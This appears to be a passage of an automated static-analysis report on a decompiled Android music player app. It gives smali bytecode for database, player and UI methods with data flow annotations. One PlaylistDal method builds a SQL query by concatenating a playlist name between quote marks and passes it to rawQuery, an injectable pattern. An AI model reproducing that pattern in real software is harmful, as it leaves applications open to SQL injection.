19invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
20move-result-object v2
22const-string v3, " WHERE "
24invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: WHERE
25move-result-object v2
27sget-object v3, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
29invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30move-result-object v2
32const-string v3, "="
34invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: =
35move-result-object v2
37invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
38move-result-object v2
40const-string v3, " ORDER BY "
42invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ORDER BY
43move-result-object v2
45sget-object v3, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
47invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
48move-result-object v2
50const-string v3, " DESC"
52invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: DESC
53move-result-object v2
55invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
56move-result-object v1
58iget-object v2, p0, Lcom/twdlphqg/app/dals/TrackDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
59const/4 v3, 0x0
61invoke-virtual {v2, v1, v3}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p1: 0
62move-result-object v0
64invoke-direct {p0, v0}, Lcom/twdlphqg/app/dals/TrackDal;->convertOwnDBCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
65move-result-object v2
66return-object v2
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.rawQuery
Strings
  • SELECT * FROM
  • WHERE
  • =
  • ORDER BY
  • DESC
Position Instruction Meta Information
0.param p1, "playlistID" # I
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(I)",
4"Ljava/util/ArrayList",
5"<",
6"Lcom/twdlphqg/app/models/Track;",
7">;"
8}
9.end annotation
10.prologue
11new-instance v2, Ljava/lang/StringBuilder;
13const-string v3, "SELECT * FROM "
15invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SELECT * FROM
17sget-object v3, Lcom/twdlphqg/app/conf/constants;->TBL_TRACKS:Ljava/lang/String;
19invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
20move-result-object v2
22const-string v3, " WHERE "
24invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: WHERE
25move-result-object v2
27sget-object v3, Lcom/twdlphqg/app/conf/constants;->COL_REF_PLAYLIST_ID:Ljava/lang/String;
29invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30move-result-object v2
32const-string v3, "="
34invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: =
35move-result-object v2
37invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
38move-result-object v2
40const-string v3, " ORDER BY "
42invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ORDER BY
43move-result-object v2
45sget-object v3, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
47invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
48move-result-object v2
50const-string v3, " DESC"
52invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: DESC
53move-result-object v2
55invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
56move-result-object v1
58iget-object v2, p0, Lcom/twdlphqg/app/dals/TrackDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
59const/4 v3, 0x0
61invoke-virtual {v2, v1, v3}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p1: 0
62move-result-object v0
64invoke-direct {p0, v0}, Lcom/twdlphqg/app/dals/TrackDal;->convertOwnDBCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
65move-result-object v2
66return-object v2
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.rawQuery
Strings
  • SELECT * FROM
  • WHERE
  • LIKE ?
  • %
Position Instruction Meta Information
0.param p1, "title" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Ljava/lang/String;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Playlist;",
9">;"
10}
11.end annotation
12.prologue
13new-instance v2, Ljava/lang/StringBuilder;
15const-string v3, "SELECT * FROM "
17invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SELECT * FROM
19sget-object v3, Lcom/twdlphqg/app/conf/constants;->TBL_PLAYLISTS:Ljava/lang/String;
21invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
22move-result-object v2
24const-string v3, " WHERE "
26invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: WHERE
27move-result-object v2
29sget-object v3, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
31invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
32move-result-object v2
34const-string v3, " LIKE ?"
36invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: LIKE ?
37move-result-object v2
39invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
40move-result-object v1
42iget-object v2, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
43const/4 v3, 0x1
44new-array v3, v3, [Ljava/lang/String;
45const/4 v4, 0x0
46new-instance v5, Ljava/lang/StringBuilder;
48const-string v6, "%"
50invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: %
52invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
53move-result-object v5
55const-string v6, "%"
57invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: %
58move-result-object v5
60invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
61move-result-object v5
62aput-object v5, v3, v4
64invoke-virtual {v2, v1, v3}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
65move-result-object v0
67invoke-direct {p0, v0}, Lcom/twdlphqg/app/dals/PlaylistDal;->convertToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
68move-result-object v2
69return-object v2
APIs
  • com.twdlphqg.app.services.AudioPlayerService$PlayerBinder.getService
  • java.lang.Boolean.booleanValue
  • com.twdlphqg.app.services.AudioPlayerService.getShuffle
  • com.twdlphqg.app.services.AudioPlayerService.getRepeat
  • com.twdlphqg.app.services.AudioPlayerService.getTrackIndex
  • com.twdlphqg.app.services.AudioPlayerService.getTrack
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • com.twdlphqg.app.PlayerActivity.access$2
  • com.twdlphqg.app.PlayerActivity.access$3
  • com.twdlphqg.app.PlayerActivity.getSupportFragmentManager
  • com.twdlphqg.app.adapter.PagerAdapter.<init>
  • com.twdlphqg.app.PlayerActivity.findViewById
  • android.support.v4.view.ViewPager.setAdapter
  • android.support.v4.view.ViewPager.setOffscreenPageLimit
  • android.support.v4.view.ViewPager.setOnPageChangeListener
  • com.twdlphqg.app.services.AudioPlayerService.play
Position Instruction Meta Information
0.param p1, "name" # Landroid/content/ComponentName;
1.param p2, "service" # Landroid/os/IBinder;
2.prologue
4iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
5check-cast p2, Lcom/twdlphqg/app/services/AudioPlayerService$PlayerBinder;
7invoke-virtual {p2}, Lcom/twdlphqg/app/services/AudioPlayerService$PlayerBinder;->getService()Lcom/twdlphqg/app/services/AudioPlayerService;
8move-result-object v2
9iput-object v2, v1, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
11iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
13iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->newTask:Ljava/lang/Boolean;
15invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
16move-result v1
17if-nez v1, :cond_a3
19iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
21iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
23iget-object v2, v2, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
25invoke-virtual {v2}, Lcom/twdlphqg/app/services/AudioPlayerService;->getShuffle()Z
26move-result v2
27iput-boolean v2, v1, Lcom/twdlphqg/app/PlayerActivity;->isShuffle:Z
29iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
31iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
33iget-object v2, v2, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
35invoke-virtual {v2}, Lcom/twdlphqg/app/services/AudioPlayerService;->getRepeat()Z
36move-result v2
37iput-boolean v2, v1, Lcom/twdlphqg/app/PlayerActivity;->isRepeat:Z
39iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
41iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
43iget-object v2, v2, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
45invoke-virtual {v2}, Lcom/twdlphqg/app/services/AudioPlayerService;->getTrackIndex()I
46move-result v2
47iput v2, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
49iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
51iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
53iget-object v2, v2, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
55invoke-virtual {v2}, Lcom/twdlphqg/app/services/AudioPlayerService;->getTrack()Ljava/util/ArrayList;
56move-result-object v2
57iput-object v2, v1, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
59iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
61iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
63iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
64iget v2, v2, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
66invoke-virtual {v1, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
67move-result-object v1
68check-cast v1, Lcom/twdlphqg/app/models/Track;
69const/4 v2, 0x1
71invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 1
72move-result-object v2
74invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
75goto_5a:
76iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
78invoke-static {v1}, Lcom/twdlphqg/app/PlayerActivity;->access$2(Lcom/twdlphqg/app/PlayerActivity;)V
80iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
82invoke-static {v1}, Lcom/twdlphqg/app/PlayerActivity;->access$3(Lcom/twdlphqg/app/PlayerActivity;)Ljava/util/ArrayList;
83move-result-object v0
85iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
86new-instance v2, Lcom/twdlphqg/app/adapter/PagerAdapter;
88iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
90invoke-virtual {v3}, Lcom/twdlphqg/app/PlayerActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
91move-result-object v3
93invoke-direct {v2, v3, v0}, Lcom/twdlphqg/app/adapter/PagerAdapter;-><init>(Landroid/support/v4/app/FragmentManager;Ljava/util/ArrayList;)V
94iput-object v2, v1, Lcom/twdlphqg/app/PlayerActivity;->pagerAdapter:Lcom/twdlphqg/app/adapter/PagerAdapter;
96iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
98iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
99const v3, 0x7f0a0044
101invoke-virtual {v1, v3}, Lcom/twdlphqg/app/PlayerActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361860
102move-result-object v1
103check-cast v1, Landroid/support/v4/view/ViewPager;
104iput-object v1, v2, Lcom/twdlphqg/app/PlayerActivity;->pager:Landroid/support/v4/view/ViewPager;
106iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
108iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->pager:Landroid/support/v4/view/ViewPager;
110iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
112iget-object v2, v2, Lcom/twdlphqg/app/PlayerActivity;->pagerAdapter:Lcom/twdlphqg/app/adapter/PagerAdapter;
114invoke-virtual {v1, v2}, Landroid/support/v4/view/ViewPager;->setAdapter(Landroid/support/v4/view/PagerAdapter;)V
116iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
118iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->pager:Landroid/support/v4/view/ViewPager;
119const/4 v2, 0x2
121invoke-virtual {v1, v2}, Landroid/support/v4/view/ViewPager;->setOffscreenPageLimit(I)V
  • Data flow analysis:
    • p0: 2
123iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
125iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->pager:Landroid/support/v4/view/ViewPager;
126new-instance v2, Lcom/twdlphqg/app/PlayerActivity$3$1;
128invoke-direct {v2, p0}, Lcom/twdlphqg/app/PlayerActivity$3$1;-><init>(Lcom/twdlphqg/app/PlayerActivity$3;)V
130invoke-virtual {v1, v2}, Landroid/support/v4/view/ViewPager;->setOnPageChangeListener(Landroid/support/v4/view/ViewPager$OnPageChangeListener;)V
131return-void
132cond_a3:
133iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
135iget-object v1, v1, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
137iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
138iget v2, v2, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
140iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
142iget-object v3, v3, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
144invoke-virtual {v1, v2, v3}, Lcom/twdlphqg/app/services/AudioPlayerService;->play(ILjava/util/ArrayList;)V
145goto/16 :goto_5a
APIs
  • android.view.LayoutInflater.inflate
  • com.twdlphqg.app.fragments.TrackInQueueFragment.getArguments
  • android.os.Bundle.getInt
  • com.twdlphqg.app.fragments.TrackInQueueFragment.getArguments
  • android.os.Bundle.getParcelableArrayList
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • com.twdlphqg.app.fragments.TrackInQueueFragment.getActivity
  • android.support.v4.app.FragmentActivity.getSupportFragmentManager
  • com.twdlphqg.app.adapter.TrackInQueueAdapter.<init>
  • android.view.View.findViewById
  • com.twdlphqg.app.TouchInterceptor.setAdapter
  • com.twdlphqg.app.TouchInterceptor.setSelection
  • com.twdlphqg.app.TouchInterceptor.setDropListener
  • com.twdlphqg.app.TouchInterceptor.setOnItemClickListener
Position Instruction Meta Information
0.param p1, "inflater" # Landroid/view/LayoutInflater;
1.param p2, "container" # Landroid/view/ViewGroup;
2.param p3, "savedInstanceState" # Landroid/os/Bundle;
3.prologue
4const v1, 0x7f03001d
5const/4 v2, 0x0
7invoke-virtual {p1, v1, p2, v2}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
  • Data flow analysis:
    • resource: 2130903069
    • attachToRoot: 0
8move-result-object v0
10invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->getArguments()Landroid/os/Bundle;
11move-result-object v1
12if-eqz v1, :cond_7a
14invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->getArguments()Landroid/os/Bundle;
15move-result-object v1
17sget-object v2, Lcom/twdlphqg/app/conf/constants;->TRACK_INDEX_KEY:Ljava/lang/String;
19invoke-virtual {v1, v2}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
20move-result v1
21iput v1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
23invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->getArguments()Landroid/os/Bundle;
24move-result-object v1
26sget-object v2, Lcom/twdlphqg/app/conf/constants;->TRACKS_KEY:Ljava/lang/String;
28invoke-virtual {v1, v2}, Landroid/os/Bundle;->getParcelableArrayList(Ljava/lang/String;)Ljava/util/ArrayList;
29move-result-object v1
30iput-object v1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->tracks:Ljava/util/ArrayList;
32iget-object v1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->tracks:Ljava/util/ArrayList;
33iget v2, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
35invoke-virtual {v1, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
36move-result-object v1
37check-cast v1, Lcom/twdlphqg/app/models/Track;
38const/4 v2, 0x1
40invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 1
41move-result-object v2
43invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
44new-instance v1, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
46invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
47move-result-object v2
48const v3, 0x7f030025
50iget-object v4, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->tracks:Ljava/util/ArrayList;
52invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
53move-result-object v5
55invoke-virtual {v5}, Landroid/support/v4/app/FragmentActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
56move-result-object v5
58invoke-direct {v1, v2, v3, v4, v5}, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;-><init>(Landroid/content/Context;ILjava/util/ArrayList;Landroid/support/v4/app/FragmentManager;)V
  • Data flow analysis:
    • p1: 2130903077
59iput-object v1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackAdapter:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
60const v1, 0x7f0a0041
62invoke-virtual {v0, v1}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361857
63move-result-object v1
64check-cast v1, Lcom/twdlphqg/app/TouchInterceptor;
65iput-object v1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->list:Lcom/twdlphqg/app/TouchInterceptor;
67iget-object v1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->list:Lcom/twdlphqg/app/TouchInterceptor;
69iget-object v2, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackAdapter:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
71invoke-virtual {v1, v2}, Lcom/twdlphqg/app/TouchInterceptor;->setAdapter(Landroid/widget/ListAdapter;)V
73iget-object v1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->list:Lcom/twdlphqg/app/TouchInterceptor;
74iget v2, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
76invoke-virtual {v1, v2}, Lcom/twdlphqg/app/TouchInterceptor;->setSelection(I)V
78iget-object v1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->list:Lcom/twdlphqg/app/TouchInterceptor;
80iget-object v2, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->dropListener:Lcom/twdlphqg/app/TouchInterceptor$DropListener;
82invoke-virtual {v1, v2}, Lcom/twdlphqg/app/TouchInterceptor;->setDropListener(Lcom/twdlphqg/app/TouchInterceptor$DropListener;)V
84iget-object v1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->list:Lcom/twdlphqg/app/TouchInterceptor;
85new-instance v2, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$2;
87invoke-direct {v2, p0}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$2;-><init>(Lcom/twdlphqg/app/fragments/TrackInQueueFragment;)V
89invoke-virtual {v1, v2}, Lcom/twdlphqg/app/TouchInterceptor;->setOnItemClickListener(Landroid/widget/AdapterView$OnItemClickListener;)V
90cond_7a: return-object v0
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.rawQuery
  • android.database.Cursor.moveToFirst
Strings
  • SELECT * FROM
  • WHERE
  • =\'
  • \'
Position Instruction Meta Information
0.param p1, "name" # Ljava/lang/String;
1.prologue
2new-instance v2, Ljava/lang/StringBuilder;
4const-string v3, "SELECT * FROM "
6invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SELECT * FROM
8sget-object v3, Lcom/twdlphqg/app/conf/constants;->TBL_PLAYLISTS:Ljava/lang/String;
10invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
11move-result-object v2
13const-string v3, " WHERE "
15invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: WHERE
16move-result-object v2
18sget-object v3, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
20invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
21move-result-object v2
23const-string v3, "=\'"
25invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: =\'
26move-result-object v2
28invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
29move-result-object v2
31const-string v3, "\'"
33invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \'
34move-result-object v2
36invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
37move-result-object v1
39iget-object v2, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
40const/4 v3, 0x0
42invoke-virtual {v2, v1, v3}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p1: 0
43move-result-object v0
45invoke-interface {v0}, Landroid/database/Cursor;->moveToFirst()Z
46move-result v2
47if-eqz v2, :cond_3c
48const/4 v2, 0x1
49goto_3b: return v2
50cond_3c: const/4 v2, 0x0
51goto/16 :goto_3b
APIs
  • com.twdlphqg.app.fragments.CustomPromptDialogFragment.getActivity
  • android.widget.EditText.<init>
  • com.twdlphqg.app.fragments.CustomPromptDialogFragment.getActivity
  • android.app.AlertDialog$Builder.<init>
  • android.widget.EditText.setText
  • android.app.AlertDialog$Builder.setView
  • com.twdlphqg.app.fragments.CustomPromptDialogFragment.getActivity
  • android.support.v4.app.FragmentActivity.getResources
  • android.content.res.Resources.getString
  • android.app.AlertDialog$Builder.setTitle
  • android.app.AlertDialog$Builder.setPositiveButton
  • android.app.AlertDialog$Builder.setNegativeButton
  • android.app.AlertDialog$Builder.create
  • android.app.AlertDialog.show
  • android.app.AlertDialog.getButton
  • android.widget.Button.setOnClickListener
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
2new-instance v2, Landroid/widget/EditText;
4invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
5move-result-object v3
7invoke-direct {v2, v3}, Landroid/widget/EditText;-><init>(Landroid/content/Context;)V
8iput-object v2, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->inputText:Landroid/widget/EditText;
9new-instance v0, Landroid/app/AlertDialog$Builder;
11invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
12move-result-object v2
14invoke-direct {v0, v2}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
16iget-object v2, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->playlist:Lcom/twdlphqg/app/models/Playlist;
17if-eqz v2, :cond_23
19iget-object v2, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->inputText:Landroid/widget/EditText;
21iget-object v3, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->playlist:Lcom/twdlphqg/app/models/Playlist;
23invoke-virtual {v3}, Lcom/twdlphqg/app/models/Playlist;->getName()Ljava/lang/String;
24move-result-object v3
26invoke-virtual {v2, v3}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
27cond_23:
28iget-object v2, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->inputText:Landroid/widget/EditText;
30invoke-virtual {v0, v2}, Landroid/app/AlertDialog$Builder;->setView(Landroid/view/View;)Landroid/app/AlertDialog$Builder;
31move-result-object v2
33invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
34move-result-object v3
36invoke-virtual {v3}, Landroid/support/v4/app/FragmentActivity;->getResources()Landroid/content/res/Resources;
37move-result-object v3
38const v4, 0x7f0b0025
40invoke-virtual {v3, v4}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427365
41move-result-object v3
43invoke-virtual {v2, v3}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
44move-result-object v2
